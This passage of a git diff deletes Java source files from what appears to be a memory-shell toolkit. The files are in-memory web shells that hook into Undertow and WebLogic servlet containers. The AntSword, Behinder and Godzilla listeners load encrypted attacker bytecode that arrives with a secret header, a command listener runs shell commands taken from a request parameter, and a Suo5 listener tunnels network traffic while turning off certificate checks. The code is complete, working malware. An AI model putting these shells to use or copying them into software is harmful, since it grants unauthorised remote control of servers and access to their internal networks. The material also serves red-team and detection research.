g(byte[] cb) { - return super.defineClass(cb, 0, cb.length); - } - - @Override - public void requestDestroyed(ServletRequestEvent servletRequestEvent) { - } - - @Override - @SuppressWarnings("all") - public void requestInitialized(ServletRequestEvent servletRequestEvent) { - HttpServletRequest request = (HttpServletRequest) servletRequestEvent.getServletRequest(); - try { - if (request.getHeader(headerName) != null - && request.getHeader(headerName).contains(headerValue)) { - HttpServletResponse response = getResponseFromRequest(request); - byte[] bytes = base64Decode(request.getParameter(pass)); - Object instance = (new AntSwordListener(this.getClass().getClassLoader())).g(bytes).newInstance(); - instance.equals(new Object[]{request, response}); - } - } catch (Exception ignored) { - } - } - - private HttpServletResponse getResponseFromRequest(HttpServletRequest request) throws Exception { - HttpServletResponse response = null; - Map map = (Map) getFieldValue(getFieldValue(request, "exchange"), "attachments"); - Object[] keys = map.keySet().toArray(); - for (Object key : keys) { - if (map.get(key).toString().contains("ServletRequestContext")) { - response = (HttpServletResponse) getFieldValue(map.get(key), "servletResponse"); - break; - } - } - return response; - } -} diff --git a/memshell/src/main/java/com/reajason/javaweb/memshell/undertow/behinder/BehinderListener.java b/memshell/src/main/java/com/reajason/javaweb/memshell/undertow/behinder/BehinderListener.java deleted file mode 100644 index 7a99db7d..00000000 --- a/memshell/src/main/java/com/reajason/javaweb/memshell/undertow/behinder/BehinderListener.java +++ /dev/null @@ -1,124 +0,0 @@ -package com.reajason.javaweb.memshell.undertow.behinder; - -import javax.crypto.Cipher; -import javax.crypto.spec.SecretKeySpec; -import javax.servlet.ServletRequestEvent; -import javax.servlet.ServletRequestListener; -import javax.servlet.http.HttpServletRequest; -import javax.servlet.http.HttpServletResponse; -import javax.servlet.http.HttpSession; -import java.lang.reflect.Field; -import java.util.HashMap; -import java.util.Map; - -/** - * @author ReaJason - * @since 2024/12/21 - */ -public class BehinderListener extends ClassLoader implements ServletRequestListener { - public static String pass; - public static String headerName; - public static String headerValue; - - public BehinderListener() { - } - - public BehinderListener(ClassLoader z) { - super(z); - } - - @SuppressWarnings("all") - public static Object getFieldValue(Object obj, String name) throws Exception { - Field field = null; - Class clazz = obj.getClass(); - while (clazz != Object.class) { - try { - field = clazz.getDeclaredField(name); - break; - } catch (NoSuchFieldException var5) { - clazz = clazz.getSuperclass(); - } - } - if (field == null) { - throw new NoSuchFieldException(name); - } else { - field.setAccessible(true); - return field.get(obj); - } - } - - @SuppressWarnings("all") - public static byte[] base64Decode(String bs) { - byte[] value = null; - Class base64; - try { - base64 = Class.forName("java.util.Base64"); - Object decoder = base64.getMethod("getDecoder", (Class[]) null).invoke(base64, (Object[]) null); - value = (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, bs); - } catch (Exception var6) { - try { - base64 = Class.forName("sun.misc.BASE64Decoder"); - Object decoder = base64.newInstance(); - value = (byte[]) decoder.getClass().getMethod("decodeBuffer", String.class).invoke(decoder, bs); - } catch (Exception ignored) { - } - } - return value; - } - - @SuppressWarnings("deprecation") - public Class g(byte[] cb) { - return super.defineClass(cb, 0, cb.length); - } - - @Override - public void requestDestroyed(ServletRequestEvent servletRequestEvent) { - } - - @Override - @SuppressWarnings("all") - public void requestInitialized(ServletRequestEvent servletRequestEvent) { - HttpServletRequest request = (HttpServletRequest) servletRequestEvent.getServletRequest(); - try { - if (request.getHeader(headerName) != null - && request.getHeader(headerName).contains(headerValue)) { - HttpServletResponse response = this.getResponseFromRequest(request); - HttpSession session = ((HttpServletRequest) request).getSession(); - Map obj = new HashMap(3); - obj.put("request", request); - obj.put("response", getInternalResponse(response)); - obj.put("session", session); - session.setAttribute("u", this.pass); - Cipher c = Cipher.getInstance("AES"); - c.init(2, new SecretKeySpec(this.pass.getBytes(), "AES")); - byte[] bytes = c.doFinal(base64Decode(request.getReader().readLine())); - Object instance = (new BehinderListener(this.getClass().getClassLoader())).g(bytes).newInstance(); - instance.equals(obj); - } - } catch (Exception ignored) { - } - } - - public HttpServletResponse getInternalResponse(HttpServletResponse response) { - while (true) { - try { - response = (HttpServletResponse) getFieldValue(response, "response"); - } catch (Exception e) { - return response; - } - } - } - - private HttpServletResponse getResponseFromRequest(HttpServletRequest request) throws Exception { - HttpServletResponse response = null; - Map map = (Map) getFieldValue(getFieldValue(request, "exchange"), "attachments"); - Object[] keys = map.keySet().toArray(); - for (Object key : keys) { - if (map.get(key).toString().contains("ServletRequestContext")) { - response = (HttpServletResponse) getFieldValue(map.get(key), "servletResponse"); - break; - } - } - return response; - } -} diff --git a/memshell/src/main/java/com/reajason/javaweb/memshell/undertow/command/CommandListener.java b/memshell/src/main/java/com/reajason/javaweb/memshell/undertow/command/CommandListener.java deleted file mode 100644 index af3b190c..00000000 --- a/memshell/src/main/java/com/reajason/javaweb/memshell/undertow/command/CommandListener.java +++ /dev/null @@ -1,78 +0,0 @@ -package com.reajason.javaweb.memshell.undertow.command; - -import javax.servlet.ServletOutputStream; -import javax.servlet.ServletRequestEvent; -import javax.servlet.ServletRequestListener; -import javax.servlet.http.HttpServletRequest; -import javax.servlet.http.HttpServletResponse; -import java.io.InputStream; -import java.lang.reflect.Field; -import java.util.Map; - -/** - * @author ReaJason - */ -public class CommandListener implements ServletRequestListener { - public static String paramName; - - public CommandListener() { - } - - @SuppressWarnings("all") - public static synchronized Object getFieldValue(Object obj, String name) throws Exception { - Field field = null; - Class clazz = obj.getClass(); - while (clazz != Object.class) { - try { - field = clazz.getDeclaredField(name); - break; - } catch (NoSuchFieldException var5) { - clazz = clazz.getSuperclass(); - } - } - if (field == null) { - throw new NoSuchFieldException(name); - } else { - field.setAccessible(true); - return field.get(obj); - } - } - - @Override - public void requestDestroyed(ServletRequestEvent sre) { - - } - - @Override - public void requestInitialized(ServletRequestEvent servletRequestEvent) { - HttpServletRequest request = (HttpServletRequest) servletRequestEvent.getServletRequest(); - try { - String cmd = request.getParameter(paramName); - if (cmd != null) { - HttpServletResponse servletResponse = this.getResponseFromRequest(request); - Process exec = Runtime.getRuntime().exec(cmd); - InputStream inputStream = exec.getInputStream(); - ServletOutputStream outputStream = servletResponse.getOutputStream(); - byte[] buf = new byte[8192]; - int length; - while ((length = inputStream.read(buf)) != -1) { - outputStream.write(buf, 0, length); - } - } - } catch (Exception ignored) { - } - } - - private HttpServletResponse getResponseFromRequest(HttpServletRequest request) throws Exception { - HttpServletResponse response = null; - Map map = (Map) getFieldValue(getFieldValue(request, "exchange"), "attachments"); - Object[] keys = map.keySet().toArray(); - for (Object key : keys) { - if (map.get(key).toString().contains("ServletRequestContext")) { - response = (HttpServletResponse) getFieldValue(map.get(key), "servletResponse"); - break; - } - } - return response; - } -} diff --git a/memshell/src/main/java/com/reajason/javaweb/memshell/undertow/godzilla/GodzillaListener.java b/memshell/src/main/java/com/reajason/javaweb/memshell/undertow/godzilla/GodzillaListener.java deleted file mode 100644 index 3eec30ab..00000000 --- a/memshell/src/main/java/com/reajason/javaweb/memshell/undertow/godzilla/GodzillaListener.java +++ /dev/null @@ -1,152 +0,0 @@ -package com.reajason.javaweb.memshell.undertow.godzilla; - -import javax.crypto.Cipher; -import javax.crypto.spec.SecretKeySpec; -import javax.servlet.ServletRequestEvent; -import javax.servlet.ServletRequestListener; -import javax.servlet.http.HttpServletRequest; -import javax.servlet.http.HttpServletResponse; -import javax.servlet.http.HttpSession; -import java.io.ByteArrayOutputStream; -import java.lang.reflect.Field; -import java.util.Map; - -/** - * @author ReaJason - */ -public class GodzillaListener extends ClassLoader implements ServletRequestListener { - public static String key; - public static String pass; - public static String md5; - public static String headerName; - public static String headerValue; - - public GodzillaListener() { - } - - public GodzillaListener(ClassLoader z) { - super(z); - } - - @SuppressWarnings("all") - public static synchronized Object getFieldValue(Object obj, String name) throws Exception { - Field field = null; - Class clazz = obj.getClass(); - while (clazz != Object.class) { - try { - field = clazz.getDeclaredField(name); - break; - } catch (NoSuchFieldException var5) { - clazz = clazz.getSuperclass(); - } - } - if (field == null) { - throw new NoSuchFieldException(name); - } else { - field.setAccessible(true); - return field.get(obj); - } - } - - @SuppressWarnings("all") - public static String base64Encode(byte[] bs) throws Exception { - String value = null; - Class base64; - try { - base64 = Class.forName("java.util.Base64"); - Object encoder = base64.getMethod("getEncoder", (Class[]) null).invoke(base64, (Object[]) null); - value = (String) encoder.getClass().getMethod("encodeToString", byte[].class).invoke(encoder, bs); - } catch (Exception var6) { - try { - base64 = Class.forName("sun.misc.BASE64Encoder"); - Object encoder = base64.newInstance(); - value = (String) encoder.getClass().getMethod("encode", byte[].class).invoke(encoder, bs); - } catch (Exception ignored) { - } - } - return value; - } - - @SuppressWarnings("all") - public static byte[] base64Decode(String bs) { - byte[] value = null; - Class base64; - try { - base64 = Class.forName("java.util.Base64"); - Object decoder = base64.getMethod("getDecoder", (Class[]) null).invoke(base64, (Object[]) null); - value = (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, bs); - } catch (Exception var6) { - try { - base64 = Class.forName("sun.misc.BASE64Decoder"); - Object decoder = base64.newInstance(); - value = (byte[]) decoder.getClass().getMethod("decodeBuffer", String.class).invoke(decoder, bs); - } catch (Exception ignored) { - } - } - return value; - } - - @SuppressWarnings("deprecation") - public Class Q(byte[] cb) { - return super.defineClass(cb, 0, cb.length); - } - - public byte[] x(byte[] s, boolean m) { - try { - Cipher c = Cipher.getInstance("AES"); - c.init(m ? 1 : 2, new SecretKeySpec(key.getBytes(), "AES")); - return c.doFinal(s); - } catch (Exception var4) { - return null; - } - } - - @Override - public void requestDestroyed(ServletRequestEvent servletRequestEvent) { - } - - @Override - @SuppressWarnings("all") - public void requestInitialized(ServletRequestEvent servletRequestEvent) { - HttpServletRequest request = (HttpServletRequest) servletRequestEvent.getServletRequest(); - try { - if (request.getHeader(headerName) != null - && request.getHeader(headerName).contains(headerValue)) { - HttpServletResponse response = this.getResponseFromRequest(request); - HttpSession session = request.getSession(); - byte[] data = base64Decode(request.getParameter(pass)); - data = this.x(data, false); - if (session.getAttribute("payload") == null) { - session.setAttribute( - "payload", - (new GodzillaListener(this.getClass().getClassLoader())).Q(data)); - } else { - request.setAttribute("parameters", data); - ByteArrayOutputStream arrOut = new ByteArrayOutputStream(); - Object f = ((Class) session.getAttribute("payload")).newInstance(); - f.equals(arrOut); - f.equals(request); - response.getWriter().write(md5.substring(0, 16)); - f.toString(); - response.getWriter().write(base64Encode(this.x(arrOut.toByteArray(), true))); - response.getWriter().write(md5.substring(16)); - response.flushBuffer(); - } - } - } catch (Exception ignored) { - } - } - - private HttpServletResponse getResponseFromRequest(HttpServletRequest request) throws Exception { - HttpServletResponse response = null; - Map map = (Map) getFieldValue(getFieldValue(request, "exchange"), "attachments"); - Object[] keys = map.keySet().toArray(); - for (Object key : keys) { - if (map.get(key).toString().contains("ServletRequestContext")) { - response = (HttpServletResponse) getFieldValue(map.get(key), "servletResponse"); - break; - } - } - return response; - } -} diff --git a/memshell/src/main/java/com/reajason/javaweb/memshell/undertow/suo5/Suo5Listener.java b/memshell/src/main/java/com/reajason/javaweb/memshell/undertow/suo5/Suo5Listener.java deleted file mode 100644 index 344f8b2a..00000000 --- a/memshell/src/main/java/com/reajason/javaweb/memshell/undertow/suo5/Suo5Listener.java +++ /dev/null @@ -1,607 +0,0 @@ -package com.reajason.javaweb.memshell.undertow.suo5; - -import javax.net.ssl.*; -import javax.servlet.ServletRequestEvent; -import javax.servlet.ServletRequestListener; -import javax.servlet.http.HttpServletRequest; -import javax.servlet.http.HttpServletResponse; -import java.io.*; -import java.lang.reflect.Field; -import java.net.*; -import java.nio.ByteBuffer; -import java.security.cert.CertificateException; -import java.security.cert.X509Certificate; -import java.util.Enumeration; -import java.util.HashMap; -import java.util.Map; - -/** - * @author ReaJason - * @since 2024/12/15 - */ -public class Suo5Listener implements ServletRequestListener, Runnable, HostnameVerifier, X509TrustManager { - public static String headerName; - public static String headerValue; - public static HashMap addrs = collectAddr(); - public static HashMap ctx = new HashMap(); - - InputStream gInStream; - OutputStream gOutStream; - - public Suo5Listener() { - } - - public Suo5Listener(InputStream in, OutputStream out) { - this.gInStream = in; - this.gOutStream = out; - } - - public void readFull(InputStream is, byte[] b) throws IOException, InterruptedException { - int bufferOffset = 0; - while (bufferOffset < b.length) { - int readLength = b.length - bufferOffset; - int readResult = is.read(b, bufferOffset, readLength); - if (readResult == -1) break; - bufferOffset += readResult; - } - } - - public void tryFullDuplex(HttpServletRequest request, HttpServletResponse response) throws IOException, InterruptedException { - InputStream in = request.getInputStream(); - byte[] data = new byte[32]; - readFull(in, data); - OutputStream out = response.getOutputStream(); - out.write(data); - out.flush(); - } - - - private HashMap newCreate(byte s) { - HashMap m = new HashMap(); - m.put("ac", new byte[]{0x04}); - m.put("s", new byte[]{s}); - return m; - } - - private HashMap newData(byte[] data) { - HashMap m = new HashMap(); - m.put("ac", new byte[]{0x01}); - m.put("dt", data); - return m; - } - - private HashMap newDel() { - HashMap m = new HashMap(); - m.put("ac", new byte[]{0x02}); - return m; - } - - private HashMap newStatus(byte b) { - HashMap m = new HashMap(); - m.put("s", new byte[]{b}); - return m; - } - - byte[] u32toBytes(int i) { - byte[] result = new byte[4]; - result[0] = (byte) (i >> 24); - result[1] = (byte) (i >> 16); - result[2] = (byte) (i >> 8); - result[3] = (byte) (i /*>> 0*/); - return result; - } - - int bytesToU32(byte[] bytes) { - return ((bytes[0] & 0xFF) << 24) | - ((bytes[1] & 0xFF) << 16) | - ((bytes[2] & 0xFF) << 8) | - ((bytes[3] & 0xFF) << 0); - } - - synchronized void put(String k, Object v) { - ctx.put(k, v); - } - - synchronized Object get(String k) { - return ctx.get(k); - } - - synchronized Object remove(String k) { - return ctx.remove(k); - } - - byte[] copyOfRange(byte[] original, int from, int to) { - int newLength = to - from; - if (newLength < 0) { - throw new IllegalArgumentException(from + " > " + to); - } - byte[] copy = new byte[newLength]; - int copyLength = Math.min(original.length - from, newLength); - // can't use System.arraycopy of Arrays.copyOf, there is no system in some environment - // System.arraycopy(original, from, copy, 0, copyLength); - for (int i = 0; i < copyLength; i++) { - copy[i] = original[from + i]; - } - return copy; - } - - - private byte[] marshal(HashMap m) throws IOException { - ByteArrayOutputStream buf = new ByteArrayOutputStream(); - Object[] keys = m.keySet().toArray(); - for (int i = 0; i < keys.length; i++) { - String key = (String) keys[i]; - byte[] value = (byte[]) m.get(key); - buf.write((byte) key.length()); - buf.write(key.getBytes()); - buf.write(u32toBytes(value.length)); - buf.write(value); - } - - byte[] data = buf.toByteArray(); - ByteBuffer dbuf = ByteBuffer.allocate(5 + data.length); - dbuf.putInt(data.length); - // xor key - byte key = (byte) ((Math.random() * 255) + 1); - dbuf.put(key); - for (int i = 0; i < data.length; i++) { - data[i] = (byte) (data[i] ^ key); - } - dbuf.put(data); - return dbuf.array(); - } - - private HashMap unmarshal(InputStream in) throws Exception { - byte[] header = new byte[4 + 1]; // size and datatype - readFull(in, header); - // read full - ByteBuffer bb = ByteBuffer.wrap(header); - int len = bb.getInt(); - int x = bb.get(); - if (len > 1024 * 1024 * 32) { - throw new IOException("invalid len"); - } - byte[] bs = new byte[len]; - readFull(in, bs); - for (int i = 0; i < bs.length; i++) { - bs[i] = (byte) (bs[i] ^ x); - } - HashMap m = new HashMap(); - byte[] buf; - for (int i = 0; i < bs.length - 1; ) { - short kLen = bs[i]; - i += 1; - if (i + kLen >= bs.length) { - throw new Exception("key len error"); - } - if (kLen < 0) { - throw new Exception("key len error"); - } - buf = copyOfRange(bs, i, i + kLen); - String key = new String(buf); - i += kLen; - - if (i + 4 >= bs.length) { - throw new Exception("value len error"); - } - buf = copyOfRange(bs, i, i + 4); - int vLen = bytesToU32(buf); - i += 4; - if (vLen < 0) { - throw new Exception("value error"); - } - - if (i + vLen > bs.length) { - throw new Exception("value error"); - } - byte[] value = copyOfRange(bs, i, i + vLen); - i += vLen; - - m.put(key, value); - } - return m; - } - - private void processDataBio(HttpServletRequest request, HttpServletResponse resp) throws Exception { - final InputStream reqInputStream = request.getInputStream(); - HashMap dataMap = unmarshal(reqInputStream); - - byte[] action = (byte[]) dataMap.get("ac"); - if (action.length != 1 || action[0] != 0x00) { - resp.setStatus(403); - return; - } - resp.setBufferSize(512); - final OutputStream respOutStream = resp.getOutputStream(); - - // 0x00 create socket - resp.setHeader("X-Accel-Buffering", "no"); - Socket sc; - try { - String host = new String((byte[]) dataMap.get("h")); - int port = Integer.parseInt(new String((byte[]) dataMap.get("p"))); - if (port == 0) { - try { - // Cannot convert Integer to int - port = ((Integer) request.getClass().getMethod("getLocalPort", new Class[]{}).invoke(request, new Object[]{})).intValue(); - } catch (Exception e) { - port = ((Integer) request.getClass().getMethod("getServerPort", new Class[]{}).invoke(request, new Object[]{})).intValue(); - } - } - sc = new Socket(); - sc.connect(new InetSocketAddress(host, port), 5000); - } catch (Exception e) { - respOutStream.write(marshal(newStatus((byte) 0x01))); - respOutStream.flush(); - respOutStream.close(); - return; - } - - respOutStream.write(marshal(newStatus((byte) 0x00))); - respOutStream.flush(); - resp.flushBuffer(); - - final OutputStream scOutStream = sc.getOutputStream(); - final InputStream scInStream = sc.getInputStream(); - - Thread t = null; - try { - Suo5Listener p = new Suo5Listener(scInStream, respOutStream); - t = new Thread(p); - t.start(); - readReq(reqInputStream, scOutStream); - } catch (Exception e) { -// System.out.printf("pipe error, %s\n", e); - } finally { - sc.close(); - respOutStream.close(); - if (t != null) { - t.join(); - } - } - } - - private void readSocket(InputStream inputStream, OutputStream outputStream, boolean needMarshal) throws IOException { - byte[] readBuf = new byte[1024 * 8]; - while (true) { - int n = inputStream.read(readBuf); - if (n <= 0) { - break; - } - byte[] dataTmp = copyOfRange(readBuf, 0, 0 + n); - if (needMarshal) { - dataTmp = marshal(newData(dataTmp)); - } - outputStream.write(dataTmp); - outputStream.flush(); - } - } - - private void readReq(InputStream bufInputStream, OutputStream socketOutStream) throws Exception { - while (true) { - HashMap dataMap; - dataMap = unmarshal(bufInputStream); - - byte[] actions = (byte[]) dataMap.get("ac"); - if (actions.length != 1) { - return; - } - byte action = actions[0]; - if (action == 0x02) { - socketOutStream.close(); - return; - } else if (action == 0x01) { - byte[] data = (byte[]) dataMap.get("dt"); - if (data.length != 0) { - socketOutStream.write(data); - socketOutStream.flush(); - } - } else if (action == 0x03) { - continue; - } else { - return; - } - } - } - - private void processDataUnary(HttpServletRequest request, HttpServletResponse resp) throws - Exception { - InputStream is = request.getInputStream(); - BufferedInputStream reader = new BufferedInputStream(is); - HashMap dataMap; - dataMap = unmarshal(reader); - - - String clientId = new String((byte[]) dataMap.get("id")); - byte[] actions = (byte[]) dataMap.get("ac"); - if (actions.length != 1) { - resp.setStatus(403); - return; - } - /* - ActionCreate byte = 0x00 - ActionData byte = 0x01 - ActionDelete byte = 0x02 - ActionHeartbeat byte = 0x03 - */ - byte action = actions[0]; - byte[] redirectData = (byte[]) dataMap.get("r"); - boolean needRedirect = redirectData != null && redirectData.length > 0; - String redirectUrl = ""; - if (needRedirect) { - dataMap.remove("r"); - redirectUrl = new String(redirectData); - needRedirect = !isLocalAddr(redirectUrl); - } - // load balance, send request with data to request url - // action 0x00 need to pipe, see below - if (needRedirect && action >= 0x01 && action <= 0x03) { - HttpURLConnection conn = redirect(request, dataMap, redirectUrl); - conn.disconnect(); - return; - } - - resp.setBufferSize(512); - OutputStream respOutStream = resp.getOutputStream(); - if (action == 0x02) { - Object o = this.get(clientId); - if (o == null) return; - OutputStream scOutStream = (OutputStream) o; - scOutStream.close(); - return; - } else if (action == 0x01) { - Object o = this.get(clientId); - if (o == null) { - respOutStream.write(marshal(newDel())); - respOutStream.flush(); - respOutStream.close(); - return; - } - OutputStream scOutStream = (OutputStream) o; - byte[] data = (byte[]) dataMap.get("dt"); - if (data.length != 0) { - scOutStream.write(data); - scOutStream.flush(); - } - respOutStream.close(); - return; - } else { - } - - if (action != 0x00) { - return; - } - // 0x00 create new tunnel - resp.setHeader("X-Accel-Buffering", "no"); - String host = new String((byte[]) dataMap.get("h")); - int port = Integer.parseInt(new String((byte[]) dataMap.get("p"))); - if (port == 0) { - try { - port = ((Integer) request.getClass().getMethod("getLocalPort", new Class[]{}).invoke(request, new Object[]{})).intValue(); - } catch (Exception e) { - port = ((Integer) request.getClass().getMethod("getServerPort", new Class[]{}).invoke(request, new Object[]{})).intValue(); - } - } - - InputStream readFrom; - Socket sc = null; - HttpURLConnection conn = null; - - if (needRedirect) { - // pipe redirect stream and current response body - conn = redirect(request, dataMap, redirectUrl); - readFrom = conn.getInputStream(); - } else { - // pipe socket stream and current response body - try { - sc = new Socket(); - sc.connect(new InetSocketAddress(host, port), 5000); - readFrom = sc.getInputStream(); - this.put(clientId, sc.getOutputStream()); - respOutStream.write(marshal(newStatus((byte) 0x00))); - respOutStream.flush(); - resp.flushBuffer(); - } catch (Exception e) { -// System.out.printf("connect error %s\n", e); -// e.printStackTrace(); - this.remove(clientId); - respOutStream.write(marshal(newStatus((byte) 0x01))); - respOutStream.flush(); - respOutStream.close(); - return; - } - } - try { - readSocket(readFrom, respOutStream, !needRedirect); - } catch (Exception e) { -// System.out.println("socket error " + e.toString()); -// e.printStackTrace(); - } finally { - if (sc != null) { - sc.close(); - } - if (conn != null) { - conn.disconnect(); - } - respOutStream.close(); - this.remove(clientId); - } - } - - public void run() { - try { - readSocket(gInStream, gOutStream, true); - } catch (Exception e) { -// System.out.printf("read socket error, %s\n", e); -// e.printStackTrace(); - } - } - - static HashMap collectAddr() { - HashMap addrs = new HashMap(); - try { - Enumeration nifs = NetworkInterface.getNetworkInterfaces(); - while (nifs.hasMoreElements()) { - NetworkInterface nif = (NetworkInterface) nifs.nextElement(); - Enumeration addresses = nif.getInetAddresses(); - while (addresses.hasMoreElements()) { - InetAddress addr = (InetAddress) addresses.nextElement(); - String s = addr.getHostAddress(); - if (s != null) { - // fe80:0:0:0:fb0d:5776:2d7c:da24%wlan4 strip %wlan4 - int ifaceIndex = s.indexOf('%'); - if (ifaceIndex != -1) { - s = s.substring(0, ifaceIndex); - } - addrs.put((Object) s, (Object) Boolean.TRUE); - } - } - } - } catch (Exception e) { -// System.out.printf("read socket error, %s\n", e); -// e.printStackTrace(); - } - return addrs; - } - - boolean isLocalAddr(String url) throws Exception { - String ip = (new URL(url)).getHost(); - return addrs.containsKey(ip); - } - - HttpURLConnection redirect(HttpServletRequest request, HashMap dataMap, String rUrl) throws Exception { - String method = request.getMethod(); - URL u = new URL(rUrl); - HttpURLConnection conn = (HttpURLConnection) u.openConnection(); - conn.setRequestMethod(method); - try { - // conn.setConnectTimeout(3000); - conn.getClass().getMethod("setConnectTimeout", new Class[]{int.class}).invoke(conn, new Object[]{new Integer(3000)}); - // conn.setReadTimeout(0); - conn.getClass().getMethod("setReadTimeout", new Class[]{int.class}).invoke(conn, new Object[]{new Integer(0)}); - } catch (Exception e) { - // java1.4 - } - conn.setDoOutput(true); - conn.setDoInput(true); - - // ignore ssl verify - // ref: https://github.com/L-codes/Neo-reGeorg/blob/master/templates/NeoreGeorg.java - if (HttpsURLConnection.class.isInstance(conn)) { - ((HttpsURLConnection) conn).setHostnameVerifier(this); - SSLContext sslCtx = SSLContext.getInstance("SSL"); - sslCtx.init(null, new TrustManager[]{this}, null); - ((HttpsURLConnection) conn).setSSLSocketFactory(sslCtx.getSocketFactory()); - } - - byte[] newBody = marshal(dataMap); - Enumeration headers = request.getHeaderNames(); - while (headers.hasMoreElements()) { - String k = (String) headers.nextElement(); - if (k.equals("Content-Length")) { - conn.setRequestProperty(k, String.valueOf(newBody.length)); - continue; - } else if (k.equals("Host")) { - conn.setRequestProperty(k, u.getHost()); - continue; - } else if (k.equals("Connection")) { - conn.setRequestProperty(k, "close"); - continue; - } else if (k.equals("Content-Encoding") || k.equals("Transfer-Encoding")) { - continue; - } else { - conn.setRequestProperty(k, request.getHeader(k)); - } - } - - OutputStream rout = conn.getOutputStream(); - rout.write(newBody); - rout.flush(); - rout.close(); - conn.getResponseCode(); - return conn; - } - - public boolean verify(String hostname, SSLSession session) { - return true; - } - - public void checkClientTrusted(X509Certificate[] chain, String authType) throws CertificateException { - } - - public void checkServerTrusted(X509Certificate[] chain, String authType) throws CertificateException { - } - - public X509Certificate[] getAcceptedIssuers() { - return new X509Certificate[0]; - } - - @Override - public void requestDestroyed(ServletRequestEvent sre) { - - } - - @Override - public void requestInitialized(ServletRequestEvent servletRequestEvent) { - HttpServletRequest request = (HttpServletRequest) servletRequestEvent.getServletRequest(); - try { - if (request.getHeader(headerName) != null - && request.getHeader(headerName).contains(headerValue)) { - HttpServletResponse response = getResponseFromRequest(request); - String contentType = request.getContentType(); - if (contentType == null) { - return; - } - try { - if (contentType.equals("application/plain")) { - tryFullDuplex(request, response); - return; - } - - if (contentType.equals("application/octet-stream")) { - processDataBio(request, response); - } else { - processDataUnary(request, response); - } - } catch (Throwable e) { -// System.out.printf("process data error %s\n", e); -// e.printStackTrace(); - } - } - } catch (Exception ignored) { - } - } - - @SuppressWarnings("all") - public static Object getFieldValue(Object obj, String name) throws Exception { - Field field = null; - Class clazz = obj.getClass(); - while (clazz != Object.class) { - try { - field = clazz.getDeclaredField(name); - break; - } catch (NoSuchFieldException var5) { - clazz = clazz.getSuperclass(); - } - } - if (field == null) { - throw new NoSuchFieldException(name); - } else { - field.setAccessible(true); - return field.get(obj); - } - } - - private HttpServletResponse getResponseFromRequest(HttpServletRequest request) throws Exception { - HttpServletResponse response = null; - Map map = (Map) getFieldValue(getFieldValue(request, "exchange"), "attachments"); - Object[] keys = map.keySet().toArray(); - for (Object key : keys) { - if (map.get(key).toString().contains("ServletRequestContext")) { - response = (HttpServletResponse) getFieldValue(map.get(key), "servletResponse"); - break; - } - } - return response; - } -} diff --git a/memshell/src/main/java/com/reajason/javaweb/memshell/weblogic/antsword/AntSwordListener.java b/memshell/src/main/java/com/reajason/javaweb/memshell/weblogic/antsword/AntSwordListener.java deleted file mode 100644 index 15881ef2..00000000 --- a/memshell/src/main/java/com/reajason/javaweb/memshell/weblogic/antsword/AntSwordListener.java +++ /dev/null @@ -1,99 +0,0 @@ -package com.reajason.javaweb.memshell.weblogic.antsword; - -import javax.servlet.ServletRequestEvent; -import javax.servlet.ServletRequestListener; -import javax.servlet.http.HttpServletRequest; -import javax.servlet.http.HttpServletResponse; -import java.lang.reflect.Field; -import java.util.Map; - -/** - * @author ReaJason - * @since 2024/12/21 - */ -public class AntSwordListener extends ClassLoader implements ServletRequestListener { - public static String pass; - public static String headerName; - public static String headerValue; - - public AntSwordListener() { - } - - public AntSwordListener(ClassLoader z) { - super(z); - } - - @SuppressWarnings("all") - public static Object getFieldValue(Object obj, String name) throws Exception { - Field field = null; - Class clazz = obj.getClass(); - while (clazz != Object.class) { - try { - field = clazz.getDeclaredField(name); - break; - } catch (NoSuchFieldException var5) { - clazz = clazz.getSuperclass(); - } - } - if (field == null) { - throw new NoSuchFieldException(name); - } else { - field.setAccessible(true); - return field.get(obj); - } - } - - @SuppressWarnings("all") - public static byte[] base64Decode(String bs) { - byte[] value = null; - Class base64; - try { - base64 = Class.forName("java.util.Base64"); - Object decoder = base64.getMethod("getDecoder", (Class[]) null).invoke(base64, (Object[]) null); - value = (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, bs); - } catch (Exception var6) { - try { - base64 = Class.forName("sun.misc.BASE64Decoder"); - Object decoder = base64.newInstance(); - value = (byte[]) decoder.getClass().getMethod("decodeBuffer", String.class).invoke(decoder, bs); - } catch (Exception ignored) { - } - } - return value; - } - - @SuppressWarnings("deprecation") - public Class g(byte[] cb) { - return super.defineClass(cb, 0, cb.length); - } - - @Override - public void requestDestroyed(ServletRequestEvent servletRequestEvent) { - } - - @Override - @SuppressWarnings("all") - public void requestInitialized(ServletRequestEvent servletRequestEvent) { - HttpServletRequest request = (HttpServletRequest) servletRequestEvent.getServletRequest(); - try { - if (request.getHeader(headerName) != null - && request.getHeader(headerName).contains(headerValue)) { - HttpServletResponse response = getResponseFromRequest(request); - byte[] bytes = base64Decode(request.getParameter(pass)); - Object instance = (new AntSwordListener(this.getClass().getClassLoader())).g(bytes).newInstance(); - instance.equals(new Object[]{request, response}); - } - } catch (Exception ignored) { - } - } - - private HttpServletResponse getResponseFromRequest(HttpServletRequest request) throws Exception { - HttpServletResponse response = null; - try { - response = (HttpServletResponse) getFieldValue(getFieldValue(request, "request"), "response"); - } catch (Exception e) { - response = (HttpServletResponse) getFieldValue(request, "response"); - } - return response; - } -} diff --git a/memshell/src/main/java/com/reajason/javaweb/memshell/weblogic/behinder/BehinderListener.java b/memshell/src/main/java/com/reajason/javaweb/memshell/weblogic/behinder/BehinderListener.java deleted file mode 100644 index 6ef7fdc7..00000000 --- a/memshell/src/main/java/com/reajason/javaweb/memshell/weblogic/behinder/BehinderListener.java +++ /dev/null @@ -1,121 +0,0 @@ -package com.reajason.javaweb.memshell.weblogic.behinder; - -import javax.crypto.Cipher; -import javax.crypto.spec.SecretKeySpec; -import javax.servlet.ServletRequestEvent; -import javax.servlet.ServletRequestListener; -import javax.servlet.http.HttpServletRequest; -import javax.servlet.http.HttpServletResponse; -import javax.servlet.http.HttpSession; -import java.lang.reflect.Field; -import java.util.HashMap; -import java.util.Map; - -/** - * @author ReaJason - * @since 2024/12/21 - */ -public class BehinderListener extends ClassLoader implements ServletRequestListener { - public static String pass; - public static String headerName; - public static String headerValue; - - public BehinderListener() { - } - - public BehinderListener(ClassLoader z) { - super(z); - } - - @SuppressWarnings("all") - public static Object getFieldValue(Object obj, String name) throws Exception { - Field field = null; - Class clazz = obj.getClass(); - while (clazz != Object.class) { - try { - field = clazz.getDeclaredField(name); - break; - } catch (NoSuchFieldException var5) { - clazz = clazz.getSuperclass(); - } - } - if (field == null) { - throw new NoSuchFieldException(name); - } else { - field.setAccessible(true); - return field.get(obj); - } - } - - 